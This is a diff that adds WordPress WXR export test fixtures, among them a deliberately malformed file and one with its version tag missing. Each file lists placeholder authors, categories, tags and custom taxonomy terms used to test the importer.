+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>

+ 91 - 0
tests/phpunit/data/export/malformed.xml

@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<notachanneltag>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>abc</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>

+ 90 - 0
tests/phpunit/data/export/missing-version-tag.xml

@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>

+ 447 - 0
tests/phpunit/data/export/small-export.xml

@@ -0,0 +1,447 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your site. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
+<!--    contained in this file into your site. -->
+
+<!-- generator="WordPress/3.1-RC2-17315" created="2011-01-18 08:06" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+	<title>trunk</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Tue, 18 Jan 2011 08:06:21 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+	<wp:author><wp:author_id>1</wp:author_id><wp:author_login>admin</wp:author_login><wp:author_email>local@host.null</wp:author_email><wp:author_display_name><![CDATA[admin]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+	<wp:author><wp:author_id>2</wp:author_id><wp:author_login>editor</wp:author_login><wp:author_email>editor@example.org</wp:author_email><wp:author_display_name><![CDATA[editor]]></wp:author_display_name><wp:author_first_name><![CDATA[FirstName]]></wp:author_first_name><wp:author_last_name><![CDATA[LastName]]></wp:author_last_name></wp:author>
+	<wp:author><wp:author_id>3</wp:author_id><wp:author_login>author</wp:author_login><wp:author_email>author@example.org</wp:author_email><wp:author_display_name><![CDATA[author]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[BETA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>29</wp:term_id><wp:category_nicename>chi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[CHI]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[dElta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The top-level foo category]]></wp:category_description></wp:category>
